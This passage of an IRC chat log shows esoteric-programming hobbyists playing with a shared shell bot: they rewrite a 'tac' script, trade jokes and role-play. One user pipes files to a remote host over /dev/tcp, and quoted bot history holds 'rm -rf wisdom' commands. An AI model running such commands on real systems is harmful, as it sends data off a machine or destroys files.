don't know what it's doing but it doesn't seem to work. 10:38:25 `rm bin/tac 10:38:29 No output. 10:38:34 `` hoag wisdm/oerjan | tac 10:38:39 No output. 10:38:42 congrats 10:38:56 Do you think it should stick around? 10:39:01 you broke a perfectly valid script that didn't read stdin 10:39:09 Apparently /usr/bin/tac doesn't work either. 10:39:17 `` which tac 10:39:19 ​/usr/bin/tac 10:39:24 If it doesn't read stdin then it's not a perfectly valid script. 10:39:49 `` ( echo a; echo b ) | tac 10:39:50 b \ a 10:40:00 it had a different purpose 10:40:06 does hoag do anything odd? 10:40:09 `` echo '#!/bin/bash' > bin/tac 10:40:12 No output. 10:40:29 Can you not make it shadow /usr/bin/tac if it has a different purpose? 10:40:32 `` echo '(( $# )) || set /dev/stdin' >> bin/tac 10:40:35 No output. 10:40:45 `` echo 'for file do mapfile -t lines < "$file"; for (( i = ${#lines[@]} -1; i >= 0; i-- )) do printf "%s\n" "${lines[i]}"; done done' >> bin/tac 10:40:49 No output. 10:40:50 `` chmod +x bin/tac 10:40:53 No output. 10:41:04 `` seq 10 | tac 10:41:07 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1 10:41:08 Making four separate commits to write one file? 10:41:28 `` seq 10 | bin/tac 10:41:30 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1 10:41:36 `` seq 10 | /usr/bin/tac 10:41:37 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1 10:41:57 `` echo -ne 'a\nb' | tac 10:41:58 b \ a 10:41:59 `` echo -ne 'a\nb' | /usr/bin/tac 10:42:01 ba 10:42:10 still seems to be broken 10:42:25 arguably more useful 10:42:42 arguably less useful 10:42:52 arguably arguable 10:42:55 tac also supports -r 10:43:01 `` tac --help 10:43:04 err 10:43:04 ​/hackenv/bin/tac: line 3: --help: No such file or directory 10:43:07 `` /bin/tac --help 10:43:08 ​/hackenv/bin/`: line 4: /bin/tac: No such file or directory 10:43:12 `` /usr/bin/tac --help 10:43:14 Usage: /usr/bin/tac [OPTION]... [FILE]... \ Write each FILE to standard output, last line first. \ With no FILE, or when FILE is -, read standard input. \ \ Mandatory arguments to long options are mandatory for short options too. \ -b, --before attach the separator before instead of after \ -r, --regex interpret the se 10:43:29 `` echo -ne 'a\nb' | /usr/bin/tac -b 10:43:30 ​ \ ba 10:43:37 If you want to write your own tac, why not give it a different name? 10:43:48 `` hoag wisdom/oerjan | bin/tac 10:43:53 Initial import. \ run rm -rf wisdom/* \ revert 0 \ run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ run rm -rf wisdom \ revert \ revert 0 \ revert 999999999 \ revert 4 \ revert 1492 \ `` hoag wisdom/oerjan | /usr/bin/tac 10:43:59 Initial import. \ run rm -rf wisdom/* \ revert 0 \ run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ run rm -rf wisdom \ revert \ revert 0 \ revert 999999 \ revert 4 \ revert 1492 \ 10:44:09 wait let me find the problem that prompted me to write that 10:44:22 `` echos wisdom/*/ 10:44:23 `` rgrep -l tac wisdom 10:44:24 ​/hackenv/bin/`: line 4: echos: command not found 10:44:28 `` echo wisdom/*/ 10:44:34 wisdom/le/ wisdom/¯\(°_o)/ wisdom/¯\(°​_o)/ 10:44:36 wisdom/brain \ wisdom/quebec \ wisdom/opposite \ wisdom/false \ wisdom/delve \ wisdom/spaghetti stack \ wisdom/webcarting \ wisdom/syntactic sugar \ wisdom/québec \ wisdom/⊥ \ wisdom/pk 10:44:46 `` rgrep -lP '\btac\b' wisdom 10:44:51 No output. 10:44:57 Er. 10:44:59 `` rgrep -lP '\btac\b' bin 10:45:05 bin/seens \ bin/¿ 10:45:12 `cat bin/seens 10:45:13 ​#!/bin/sh \ find /var/irclogs/_esoteric -mindepth 1 -maxdepth 1 -type f -name '????-??-??.txt' | sort -r | xargs -d'\n' -r tac -- | grep "^..:..:..: <$1>" | head -n 1 10:45:22 `cat bin/¿ 10:45:23 ​? "$@" | rev | tac 10:45:37 `` tac <(seq 3) <(seq 3) 10:46:00 `` /usr/bin/tac <(seq 3) <(seq 3) 10:46:14 i don't remember for sure but it was related to this i think 10:46:18 can't find it in my logs 10:46:19 3 \ 2 \ 1 \ 3 \ 2 \ 1 10:46:20 ​/usr/bin/tac: cannot create temporary file in `/tmp': Invalid argument \ 3 \ 2 \ 1 10:46:31 ah that 10:46:36 SEE? I FIXED A BUG 10:46:46 You wrote a different program. 10:46:57 I suggest giving it a different name. 10:47:15 for all sane purposes works exactly like tac and does the right thing in a few cases where the actual tac is broken 10:47:29 tac attacc 10:47:58 `` rm bin/tac and fuck you 10:48:02 rm: cannot remove `and': No such file or directory \ rm: cannot remove `fuck': No such file or directory \ rm: cannot remove `you': No such file or directory 10:48:12 I was thinking more `mv bin/tac bin/tax 10:48:34 another traditional name would be yatac 10:48:37 I've been irritated by the lack of working tac in HackEgo for months now. 10:48:56 I finally looked into it and realized it wasn't caused by what I thought. 10:49:02 (ironically cc isn't exactly a compiler compiler, despite "yacc" suggesting otherwise) 10:49:21 it can compile compilers tho 10:49:27 hence "exactly" 10:49:34 -!- bender has quit (Read error: Connection reset by peer). 10:49:38 maybe that was its original intended purpose 10:49:48 then people realized it can also be used for regular programs 10:49:52 ... 10:49:58 -!- bender has joined. 10:50:08 you never know 10:50:13 int-e: Oh, I get it, "attack". 10:50:15 in an alternative universe, maybe 10:50:21 I was thinking it was a DNA thing. 10:50:25 shachaf: also , twice "tac". 10:50:29 oh. 10:50:38 int-e: and cpp isn't a compiler for cplusplus 10:50:39 haha, I didn't see that :) 10:50:50 (the DNA) 10:54:24 Hmm, "guanine" is derived from "guano". 10:58:15 good to know 11:01:27 Hm, what's happening with brainlabs now? 11:02:56 well it sounds like the place for a zombie attack hth 11:03:51 oerjan: Sexist zombies, no less 11:04:49 @tell boily MWAH AH AH AH AH AH AH AH AH AH :D <-- excuse me, there appears to be a slight problem with your sanity... 11:04:50 Consider it noted. 11:09:41 -!- Koen_ has joined. 11:10:18 There are not nearly enough velociraptors equipped with lasers in space 11:10:39 -!- Phantom_Hoover has joined. 11:13:19 wouldn't it be more efficient to equip them with reactors? 11:15:20 reactors are heavy. 11:15:31 `wisdom stepr 11:15:46 stepran//A Steprans variable is a variable whose notation is variable. 11:15:56 `` mv wisdom/stepran{,s} 11:16:11 No output. 11:16:24 `wisdom stepr 11:16:30 steprans//A Steprans variable is a variable whose notation is variable. 11:17:01 Stormfront or SJW is a fun game 11:17:13 I'm glad someone just mentioned it so I can watch it more 11:17:16 -!- boily has joined. 11:22:00 hujamboily 11:22:54 sœrjanmat pagi! 11:22:58 @massages-loud 11:22:58 oerjan said 18m 8s ago: MWAH AH AH AH AH AH AH AH AH AH :D <-- excuse me, there appears to be a slight problem with your sanity... 11:23:12 my sanity is perfectly functional. I am sane hth 11:23:22 what's a hujam? 11:24:19 beats me. 11:27:17 -!- astslash has joined. 11:27:25 `relcome astslash 11:27:39 ​astslash: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 11:27:39 yep 11:27:43 -!- Koen__ has joined. 11:31:15 -!- Koen_ has quit (Ping timeout: 258 seconds). 11:31:21 boily: is that like a boojum? 11:33:49 b_jellonas. these terms are unknown to me. most likely they are alike. 11:37:41 `? boojum 11:37:47 boojum? ¯\(°​_o)/¯ 11:38:03 -!- yorick__ has changed nick to yorick. 11:45:14 do you happen to know why the heck ImageMagick's official windows installer binaries are often broken these days? 11:45:58 I like ImageMagick, but if half of their windows builds just fail mysteriously, that makes them pretty difficult to use. 11:46:05 They didn't used to be like this. 11:52:38 From the people who brought you Stormfront or SJW: ____________ 11:52:46 (fill in the blank) 11:59:32 `wisdom 11:59:45 algebraic chess notation//Algebraic chess notation is not a notation for algebraic chess. 12:13:26 `? pawn 12:13:28 pawn? ¯\(°​_o)/¯ 12:13:36 `? arithmetical chess notation 12:13:38 arithmetical chess notation? ¯\(°​_o)/¯ 12:13:44 `? geometric chess notation 12:13:47 geometric chess notation? ¯\(°​_o)/¯ 12:14:24 `? chess 12:14:26 Chess is a complex boardgame, where players exchange unclear royal steaks until they decide which of them has lost. The game is recorded through the Gringmuth Moving Pineapple Notation. 12:14:29 Algebraic chess is chess that is also an algebraic variety, such that moves are given by regular functions on the variety 12:14:36 wait. pawn was removed? :( 12:15:19 -!- gamemanj has joined. 12:15:23 `? checkers 12:15:25 checkers? ¯\(°​_o)/¯ 12:15:29 `? draughts 12:15:31 draughts? ¯\(°​_o)/¯ 12:15:43 `? billiards 12:15:44 billiards? ¯\(°​_o)/¯ 12:15:46 `? pool 12:15:47 pool? ¯\(°​_o)/¯ 12:16:56 `? avatar 12:16:57 avatar? ¯\(°​_o)/¯ 12:17:59 avatar is a game? 12:18:41 boily: No? 12:19:18 I mean, there's probably a video game based on the movie 12:19:33 (James Cameron, not airbending) 12:21:31 -!- boily has quit (Quit: TAKE CHICKEN). 12:23:41 "Democratic People's Republic of Korea" 12:23:57 You can REALLY tell a place is fucked up when it is a /democratic people's republic/ 12:32:44 `culprits wisdom/pawn 12:32:47 . o O ( or if it has /united/ in its name... ) 12:33:03 No output. 12:34:32 hppavilion[1]: i think the word "democratic" alone is a pretty bad sign. i make an exception for Greece. oh wait... 12:35:03 (technically Greece uses the noun iirc) 12:35:16 perhaps with the exception of the "United Mexican States" 12:35:35 (I didn't know *that* official name) 12:37:01 `culprits wisdom/pawn 12:37:08 No output. 12:37:20 i'm going with "never existed" 12:37:41 `le/rn pawn/*YOU* are a pawn. *MWAHAHAHAHA* 12:37:50 Learned «pawn» 12:49:41 HackEgo: yes, it's the people that are democratic, not the republic 13:00:37 -!- oerjan has quit (Quit: Later). 13:00:51 -!- AnotherTest has joined. 13:31:29 a friend of mine made a fuck machine 13:31:38 it's an arduino in a box, with a button 13:31:45 you press the button and it says fuck 13:35:42 Amazing technology. 13:37:29 time to crowdfund it 13:38:23 where can I buy this 13:39:26 also, can I crowdfund a private use character, U+F800? 13:39:44 you can try 13:40:04 (Displays as  on your system.) 13:40:28 gamemanj: God I love that 13:40:42 hppavilion[1]: ??? 13:40:47 hppavilion[1]: I can't tell what you're seeing 13:40:49 gamemanj: The i-with-heart 13:41:01 izabera: "and if you press another button..." 13:41:01 `unidecode  13:41:04 ?????? 13:41:17 (Displays as  on your system.) 13:41:21 U+F800 - No such unicode character name in database \ UTF-8: ef a0 80 UTF-16BE: f800 Decimal:  \  () \ Uppercase: U+F800 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right) 13:41:32 an i-with-heart? 13:41:32 hppavilion[1]: it's something your font's designer did 13:41:47 hppavilion[1]: is it \oren\'s ? 13:41:50 int-e: Oh, my font's designer was \oren\ 13:41:51 hppavilion[1]: so pasting it won't help... we'll need a screenshot 13:41:57 int-e: Well duh 13:41:59 getting screenshot 13:42:04 exactly. 13:42:07 int-e: I thought gamemanj was confused about what I was referring to 13:42:16 int-e: Not what it looks like 13:42:27 http://imgur.com/9AG0fBLl.png 13:42:54 uh 13:43:00 What happened 13:43:00 gamemanj: Good job using a low-enough-res image that it's illegible 13:43:08 gamemanj: what is it, a screenshot for ants? 13:43:09 Bad screenshot program? 13:43:17 No biscuit for that screenshot program. 13:43:30 gamemanj: Also, why the hell are you running literally the same set of programs that I'm always running? 13:43:40 I'm your doppleganger. 13:43:51 Hexchat, firefox, PyCharm 13:43:58 uh, PyCharm? 13:44:01 gamemanj: What's the opposite of a doppleganger? 13:44:03 I see no PyCharm here 13:44:24 gamemanj: Oh, that's another Jetbrains IDE I guess 13:44:34 It looks the same as PyCharm because they use the same UI layout 13:45:43 oh, THERE we go 13:45:44 http://i.imgur.com/9AG0fBL.png 13:45:46 it did upload it 13:45:49 I just got the wrong URL 13:46:45 it's the difference between the "i." and no "i." 13:46:51 or something 13:46:56 Ok, I have no idea 13:47:14 I just realized I already... Ok, anyone who wants to see the full screenshot just refresh. I'm confused. 13:47:26 * hppavilion[1] checks the image for usable data 13:47:45 that's fun, I do that too 13:48:05 \oren\: Why does the lookup of heart letters not include umlautic letters? 13:48:29 For future reference: "copyright ID" is part of "copyright IDEA" (I was trying to figure out how to get the Copyright module to mass-copy the same notice all over a project) 13:49:04 "MessageBoxA" is an old tab and semi-related (Figure out what the software does and that should help) 13:49:22 God, when looking for something in an image I always consider ctrl+f for a nanosecond 13:49:27 And the rest you should be able to figure out yourself 13:50:18 hmm, I can honestly say that I have no IDEA. 13:50:31 hint: class list 13:50:43 gamemanj: Are you classist? 13:50:49 no, class list 13:51:10 mixing java, nasm and gtk... sounds fun. 13:51:24 GTK's just look&feel madness 13:51:30 Today I learned about Sovereign Citizens 13:51:38 A little piece of me died 13:51:41 and is "linearizing" some sort of topological sorting? 13:51:45 For some value of little 13:52:08 int-e: "linearizing" is my "I may as well name it something" way of putting "Making the address in the file equal to the RVA" 13:52:47 hppavilion[1]: "Between 50 and 70 billion cells die each day due to apoptosis in the average human adult." hth 13:53:55 Because 1. it's more convenient to edit that way, and 2. certain assembler/patcher programs have this habit of subtracting 0x400000 and otherwise patching raw, which is fine when .text is at 0x1000. 13:53:57 gamemanj: (connecting dots at random) oh you're still pushing bytes? 13:54:02 nope 13:54:06 int-e: Yes, when I say a little piece of me died I mean on top of the 50-70 billion 13:54:20 int-e: If you didn't read the class list... 13:54:29 int-e: PESection, PESectionBuilder, ResourceImage. 13:54:35 gamemanj: I did, it just didn't ring any bells 13:54:44 and I'm too lazy to google 13:54:45 Windows EXE files. 13:55:04 I have to admit that PESection could've worked. 13:55:51 -!- ybden- has changed nick to ybden. 13:56:00 But basically all I know about PE executables is that they exist and are used in Windows (and have been there since ages). 13:58:43 "A free citizen has all of the rights of a US citizen while not following any of their laws" 13:59:11 Honestly, https://www.youtube.com/watch?v=3zHRQn_IShw is evidence that cops average to /more/ peaceful than your average american 14:04:22 Like, even if every other cop in the country was literally a serial killer 14:04:27 When you average it out 14:04:39 He /really/ skews the numbers 14:05:10 averages don't make the press 14:07:55 Fuck the New World Order, I want to go back to the Old World Order 14:08:37 hppavilion[1]: how about a New New World Order? 14:08:37 hppavilion[1]: That cop has maxed out his patience stat, but I don't think one good cop instantly absolves all the bad ones either 14:09:14 FreeFull: It doesn't absolve them, but it skews the average 14:09:39 FreeFull: The average person hasn't orchestrated a racial genocide, but that doesn't mean those who did are absolved 14:09:54 also, second detection of gravitational wave event was announced today 14:09:58 um 14:09:59 yesterday 14:10:06 I meant yesterday 14:10:55 b_jonas: Perhaps the aliens are trying to remove us from the universe? 14:10:56 now build a couple of more earth-based detectors so that the locations can be found more easily, then also build some space-based detectors 14:11:11 `? metallic hydrogen 14:11:18 metallic hydrogen? ¯\(°​_o)/¯ 14:30:34 -!- user32 has joined. 14:32:53 -!- spiette has joined. 14:33:55 -!- user32 has quit (Client Quit). 14:39:01 -!- moon_ has joined. 14:40:01 -!- Sgeo has quit (Ping timeout: 240 seconds). 14:46:25 I want a counter sign that says "It has been [x] days since someone updated this sign" 14:46:50 harhar, ask the company 'Basic Millworks' i beleive its on ebay 14:47:00 proffessional looking signs :P 14:51:22 hppavilion[1]: http://www.xkcd.com/363/ ? 14:51:54 b_jonas: Similar, but more hofstadarian 14:53:09 Huh, just as I mentioned that I got to the good part of https://www.youtube.com/watch?v=zfdxqRXM6Sc&list=PLA1F18BC2CFDB46FF&index=29 14:53:14 buy it in wood from Basic Millworks if you do want it 14:53:27 it will come prestained 14:53:37 basically usable from the start 15:00:28 -!- J_Arcane has joined. 15:17:52 -!- `^_^ has joined. 15:23:58 what? 15:24:02 are they fools or something? 15:26:01 b_jonas 15:26:10 mind setting up a swap on the new hbot? 15:27:13 moon_: why don't you just add a proper swap partition (whether on a separate hard disk or an existing one)? that would be much better than a swap file, I just didn't want to risk doing it from the inside, but it's easier from the outside. 15:27:47 moon_: add a swap partition, add it to fstab, swapon -a 15:27:56 no wait, I forgot a step 15:28:04 add a swap partition, mkswap, add it to fstab, swapon -a 15:30:44 kk 15:30:45 -!- Koen_ has joined. 15:31:24 -!- Sgeo has joined. 15:33:40 -!- Koen__ has quit (Ping timeout: 272 seconds). 15:42:38 b_jonas: thx, i added 2 gb of SWAP to it 15:52:46 -!- moon_ has quit (Ping timeout: 250 seconds). 15:55:00 -!- aloril has quit (Ping timeout: 246 seconds). 16:05:00 -!- aloril has joined. 16:06:39 -!- bender has quit (Ping timeout: 250 seconds). 16:44:49 -!- Koen_ has quit (Remote host closed the connection). 16:59:52 <\oren\> my phones ui process just segfaulted 17:04:41 [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47223&oldid=47221 * KelsonBall * (+105) 17:05:26 \oren\: um, how can you tell that? 17:05:37 I mean, how did you debug what happened if there's no ui? 17:05:46 did it get saved to a log persistent over reboot or something? 17:13:01 <\oren\> the ui rebooted and said an error toast about android.ui.something having a segfault 17:14:09 <\oren\> also my stupid macbook wont connect to the stupid vpn again argh 17:15:59 <\oren\> my phone on the other hand connects just fine... 17:19:49 -!- qrf has left. 17:27:11 -!- astslash has quit (Quit: This computer has gone to sleep). 17:34:51 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47225&oldid=47223 * KelsonBall * (+2278) /* Hello World */ Added in depth explanation of example program. 17:35:48 [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47226&oldid=47225 * KelsonBall * (+0) /* Hello World */ 17:57:40 -!- MoonyTheDwarf has joined. 17:57:47 Hbot has been moved to #esoteric 17:58:31 -!- augur has joined. 18:01:19 -!- Koen_ has joined. 18:06:15 <\oren\> uhh what does hbot do? 18:10:17 its havocbot, a debian linux shell bot, it has a few users as of now 18:12:12 <\oren\> so it uses dash? 18:12:56 -!- AnotherTest has quit (Ping timeout: 250 seconds). 18:12:59 *Bash 18:13:34 <\oren\> i see 18:14:53 -!- AnotherTest has joined. 18:16:11 <\oren\> i wonder how hard it would be to make a program that compiles shell scripts into native executables 18:17:30 -!- MoonyTheDwarf has quit (Ping timeout: 250 seconds). 18:19:09 <\oren\> iow it would convert them into a program with a bunch of forks dup2s and execs 18:20:35 well, you could do it without invoking the C compiler if you were crazy enough 18:20:41 but would you WANT to 18:21:40 `? HackEgo 18:21:52 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! 18:22:35 `learn HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you assume a spherical cow in a vacuum. HackEgo is the slowest bot in all Mexico! 18:22:40 Relearned 'hackego': HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you assume a spherical cow in a vacuum. HackEgo is the slowest bot in all Mexico! 18:22:47 <\oren\> well i wonder how much of a typical configure script spends being parsed... 18:23:55 `bardsworthlist 2016-06-16 18:23:57 bardsworthlist 2016-06-16: b_jonas 18:24:01 wow, two updates so close to each other 18:29:01 Maybe the list shoudl just print the current date by default. 18:29:13 now, time to read my wisdom entry... 18:29:18 in an absurdly overcomplicated manner 18:29:20 `cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561 18:29:22 cat: wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561: No such file or directory 18:29:30 ... 18:29:32 ``cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561 18:29:34 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `cat: not found 18:29:37 `` cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561 18:29:38 ​/hackenv/bin/`: line 4: gamemanj.duckdns.org: Name or service not known \ /hackenv/bin/`: line 4: /dev/tcp/gamemanj.duckdns.org/25561: Invalid argument 18:29:45 ...... 18:30:24 What? 18:30:31 Why did you rewrite HackEgo? 18:35:32 -!- Kaynato has joined. 18:40:12 shachaf: Because there were not enough spherical cow jokes 18:40:43 I think there were too many already. 18:40:51 -!- MoonyTheDwarf has joined. 18:40:56 `wiser 18:41:00 `url bin/echo-p 18:41:09 `url bin/mk 18:41:09 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wiser: not found 18:41:11 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p 18:41:13 `url bin/mkx 18:41:14 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk 18:41:16 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mkx 18:41:47 -!- Koen_ has quit (Remote host closed the connection). 18:42:20 I suggest putting that joke somewhere else if you think it's necessary. 18:42:27 `revert 18:42:37 ``` echo $'#!/bin/sh\n''bin/\? "$@" && echo -n " Taneb invented it."' > bin/wiser && chmod a+x bin/wiser 18:42:49 No output. 18:42:50 `wiser hackego 18:42:52 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 18:42:52 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wiser: not found 18:43:01 b_jonas: I Don't think that ought to be automated. 18:43:23 ``` ls -ld bin/wiser 18:43:25 ls: cannot access bin/wiser: No such file or directory 18:43:27 `undo 8502 18:43:39 patching file wisdom/hackego 18:43:42 I didn't intend to revert it, though. 18:44:05 ``` echo $'#!/bin/sh\n''bin/\? "$@" && echo -n " Taneb invented it."' > bin/wiser && chmod a+x bin/wiser && echo " written"; echo " done" 18:44:09 Even if that was automated, using ? isn't the right thing to do. 18:44:10 ​ written \ done 18:44:21 `wiser hackego 18:44:25 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! \ Taneb invented it. 18:44:28 `wiser norway 18:44:30 `revert 18:44:30 Norway is the suburb capital of Sweden. It's where the Nobel Peace Prize is announced. \ Taneb invented it. 18:44:31 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 18:44:58 shachaf: yes, it needs a more refined definition, one that strips the unnecessary newline, and doesn't add a second copy if the wisdom is already wise 18:45:26 Oh, it doesn't actually overwrite the file. 18:45:31 OK then. 18:50:10 -!- Koen_ has joined. 19:26:54 -!- hwpplayer1 has joined. 19:35:37 -!- hwpplayer1 has quit (Quit: Leaving.). 19:55:52 -!- AnotherTest has quit (Ping timeout: 272 seconds). 20:01:33 -!- hppavilion[1] has quit (Ping timeout: 244 seconds). 20:04:05 -!- spiette has quit (Ping timeout: 260 seconds). 20:16:25 -!- AnotherTest has joined. 20:16:37 -!- hppavilion[1] has joined. 20:24:08 hi hppavilion[1] 20:24:27 MoonyTheDwarf: NO 20:24:32 MoonyTheDwarf: CHOOSE A NICK AND STICK TO IT 20:25:51 This is my registered nick 20:25:59 im normally on moon_ which is unregistered 20:26:14 -!- MoonyTheDwarf has changed nick to moon_. 20:26:21 There 20:31:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:34:39 You scared him off! 20:36:04 )= 20:36:08 D= 20:36:18 * moon_ slaps Elronnd around a bit with a large trout 20:36:21 :> 20:36:23 good job 20:36:31 >: 20:38:36 * moon_ slaps myname around a bit with a large trout 20:39:37 oh yeah 20:40:15 * moon_ replaces the trout with a fishbot 20:42:56 excuse me, but I'm a representative of the trout worker's union 20:43:05 it seems you are replacing your trout staff with fishbots 20:43:17 and they, as trout, consider this to be a rather anti-trout action 20:43:32 * moon_ brutally slaps gamemanj with a fishbot 20:43:38 * gamemanj ded 20:43:54 * moon_ cocks the fishbot 20:44:01 * moon_ fires water at gamemanj 20:44:09 * gamemanj already dead 20:44:33 * moon_ wastes a beat the boss 4 heart on gamemanj 20:44:37 * moon_ cocks the fishbot 20:44:44 * gamemanj is quite dead 20:44:46 -!- EX_ has joined. 20:44:56 -!- EX_ has left. 20:45:04 * moon_ slaps ex with a fishbot 20:45:06 oh 20:45:07 >: 20:45:16 as you can see EX_ was wise enough to leave 20:45:21 before being slapped with a fishbot 20:45:27 also, BTW, you only slapped a clone of me 20:45:33 )= 20:45:40 MWUHAHAHAHA 20:45:43 * moon_ slaps gamemanj with a fishbot 20:45:47 * gamemanj dead 20:45:48 There 20:46:04 ...another clone. Did I mention that I get insurance money to make more clones every time you do that? 20:46:29 * moon_ slaps all the gamemanjs with a fishbot 20:46:56 * gamemanj is still alive (in a bunker somewhere in north-east Hull), but the clones are dead 20:47:08 * gamemanj immediately makes more clones 20:47:35 Why are we at war in #esoteric? 20:47:45 because you like slapping people with fishbots 20:48:03 and anyway, have you noticed no offensive on my part yet? 20:48:18 Yup 20:48:31 * gamemanj un-shields a Dramatic Shielded Button (tm) 20:48:40 * gamemanj then lowers his finger to press it 20:48:53 * moon_ eats the button 20:49:18 * gamemanj (seeing moon_ eat the fake button the clone was holding on a remote screen), presses the REAL button. 20:49:38 * gamemanj then watches as a tractor beam sends the moon_ out of Earth's orbit. 20:50:02 * moon_ uses jupiter 20:50:07 * moon_ flys back and hits earth 20:50:36 * gamemanj notices a splat moon_ on the bunker's windshield, and (remotely, of course) wipes it off with royal water. 20:50:54 But im the moon >: 20:51:09 (if you're the moon then you destroyed earth and probably yourself) 20:51:16 (so...) 20:51:29 ik, im kidding just to get a long explanation. 20:51:54 (ALL EARTH LIFE NIL. MOON_ NIL. NOBODY WINS.) 20:51:55 * moon_ has clones 20:52:11 Oh, flip, moon_ stole my cloning technology while looking through my windshield! 20:52:18 I need to make it one-way. 20:52:31 * moon_ has millions of finger biting clones 20:52:47 * moon_ the gamemanj's are covered in fingerbiting clones, with fishbots 20:52:48 * gamemanj attempts to arrange a peace treaty with moon_ 20:52:59 please, we both have infinity + 1 clones 20:53:05 Ah fine 20:53:07 >: 20:53:07 ok 20:53:16 you don't hit me with any fishbots and I won't try to kill your clones 20:53:20 * gamemanj deactivates his clones 20:53:34 * moon_ uses his clones to make a new moon 20:53:40 * moon_ made of moon_ s 20:54:18 * gamemanj is happy with this peace treaty, and intends to discuss cloning theory with moon_ sometime while drinking tea 20:54:19 *Somewhere else in a few years* The ball of flesh is really nice tonight 20:54:38 (...) 20:54:55 (a mole of moles...) 20:54:59 * moon_ is genetically wierd 20:55:29 * gamemanj doesn't really care, the BoF is better than the WoF - for one, it doesn't try to kill anyone 21:04:25 Mmm frozen raspberrys 21:33:08 -!- LexiciScriptor has joined. 21:42:29 -!- MoonyTheDwarf has joined. 21:44:33 -!- moon_ has quit (Ping timeout: 240 seconds). 21:50:26 you know your ide has turned against you when it says that variable "x" should not be passed to parameter "y"... except there's only one parameter to the function. 21:51:07 (And it's called "y" because that's what the IDE set it as when the function was magically created.) 21:52:02 lol 21:52:05 what ide? 21:52:08 IDEA 21:53:06 I suggest that #esoteric-blah is better for this conversation. 21:53:37 rainbow 21:54:09 are you one of these people that assume people have white background for irc? 21:54:13 is MoonyTheDwarf related to moon_? 21:54:42 yeah, the relation is reflexive, symmetric and transitive 21:54:42 colorfilter++ 21:55:15 int-e: How can you tell? 21:55:25 -!- MoonyTheDwarf has changed nick to moon_. 21:55:32 yea, i forgot to change my nick 21:55:33 though I guess the fact that "rainbow" has 7 letters deserves a honorable mention. 21:55:49 shachaf: a guess, by myname's reaction. 21:56:03 I certainly do myname 21:56:25 moon_: let me assure you, it's a false assumption 21:56:41 therefore, your r is black letters on black background for me 21:57:12 Painbow 21:57:28 -!- gamemanj has quit (Ping timeout: 272 seconds). 21:57:48 slightly less horrible 21:58:58 `rainbow rainbow 21:59:10 `rainbow painbow 21:59:43 No output. 21:59:46 qwertyuiop[]\asdfghjkl;'zxcvbnm,./ 21:59:54 No output. 22:00:27 `` rainbow << ​rainbow 22:00:49 whoa whoa whoa 22:00:53 << Harharhar 22:02:30 `` cat <<<'a standard bash feature for feeding input to programs (also found in zsh, I do not know where it originated)' 22:02:32 a standard bash feature for feeding input to programs (also found in zsh, I do not know where it originated) 22:02:52 Yes, i figured it out. 22:02:56 s/i/I/ 22:11:16 rainbow 22:12:56 my irc client has scriptable rainbows hth 22:12:59 that's the best approximation I could find (and I typed that manually) 22:13:33 MIRC RAINBOW WOOO 22:14:34 (typing ^C in irssi will insert a literal ^C, so mirc color codes can be entered that way) 22:14:43 l 22:14:49 -!- asie has quit (Quit: WeeChat 1.5). 22:15:15 (other clients may simply terminate if you do that...) 22:16:10 I think ASIE did it? 22:16:17 l 22:20:47 maybe, though apparently there's an add-on for weechat that uses ^C for inserting color codes... 22:21:40 ...which suggests that maybe it doesn't terminate the program 22:24:44 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:25:01 -!- mpan has joined. 22:25:14 -!- mpan has left. 22:27:14 `? rainbow 22:27:16 Rainbows are spectral creatures said to be powered by the Daystar. 22:27:24 `culprits wisdom/rainbow 22:27:33 oerjan 22:27:49 UserFriendly reference, hmm 22:29:35 -!- spiette has joined. 22:33:43 ah it's actually straightforward to find http://ars.userfriendly.org/cartoons/?id=19991208 22:35:17 -!- spockers has quit (Quit: My MacBook has gone to sleep. ZZZzzz…). 22:36:18 -!- spockers has joined. 22:39:14 -!- dnm has quit (Ping timeout: 250 seconds). 22:44:49 -!- MDude has quit (Ping timeout: 252 seconds). 22:46:37 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 22:49:49 -!- MDude has joined. 23:09:54 -!- MDead has joined. 23:12:31 -!- MDude has quit (Ping timeout: 240 seconds). 23:12:39 -!- MDead has changed nick to MDude. 23:14:27 -!- MDead has joined. 23:17:15 -!- 